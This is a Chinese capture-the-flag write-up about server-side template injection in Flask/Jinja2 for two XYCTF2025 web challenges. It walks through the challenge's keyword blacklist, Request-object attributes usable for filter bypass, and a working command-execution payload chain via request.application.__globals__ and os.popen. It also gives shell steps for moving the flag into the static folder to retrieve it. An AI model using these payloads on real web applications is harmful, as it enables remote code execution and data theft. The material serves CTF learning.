ssti之Request浅析利用
字数 775 2025-08-30 06:50:28
SSTI之Request浅析利用
环境分析
在XYCTF2025的Web方向两道SSTI题目中,发现禁用了一堆关键字,但request没有被禁用。被禁用的关键字包括:
lock_within = [
"debug", "form", "values", "headers", "json", "stream", "environ",
"files", "method", "cookies", "application", 'data', 'url', '\'', '"',
"getattr", "_", "{{", "}}", "[", "]", "\\", "/", "self",
"lipsum", "cycler", "joiner", "namespace", "init", "dir", "join", "decode",
"batch", "first", "last", " ", "dict", "list", "g.",
"os", "subprocess", "g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path", "os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."
]
Request对象利用方法
可以通过以下方式查看Request对象的所有方法:
from flask import Flask, request
app = Flask(__name__)
@app.route('/debug', methods=['GET', 'POST'])
def debug():
# 打印所有方法名
print("Request对象方法列表:")
for method in dir(request):
if not method.startswith("__"): # 过滤魔术方法
print(f"- {method}")
return "Check console for method list."
if __name__ == '__main__':
app.run(debug=True)
含特殊字符的方法
这些方法含有下划线,在大多数情况下不能使用:
__class__等魔术方法
不含特殊字符的方法
-
endpoint
- 主要获取该路由的函数名
-
args & values
args用于GET传参values用于POST和GET传参- 优势在于可以传递多个参数
-
cookies
- 可以传递多个参数
-
json
- 处理JSON格式数据
-
authorization
- 处理授权信息
实际利用案例
XYCTF-Now you see me 1
构造的利用链:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
使用origin和authorization头进行利用。
非预期解:直接读取服务端的app.py发现有一个flag。
预期解:
-
新建static目录,直接移动文件:
mkdir static mv flag static/然后访问下载
-
使用
dd命令分块写入
XYCTF-Now you see me 2
过滤更多关键字,考虑使用endpoint的用法:
r3al_ins1de_th0ught
构造链子同上,同样创建static文件夹并将flag移动到该目录下访问下载。
总结
-
取值方法多样:
- 不仅可以通过下标取值
- 还可以利用
for循环+slice(1)的方法搭配取值
-
构造链子多样:
- 不仅可以用
config开头 - 还可以用
request、setattr等获取eval
- 不仅可以用
-
其他利用方式:
- 构造特殊链子利用未被删除的方法找到命令执行点
- 利用沙箱逃逸知识点,找到
importlib的reload - 分别
reload os.popen和subprocess.Popen然后执行RCE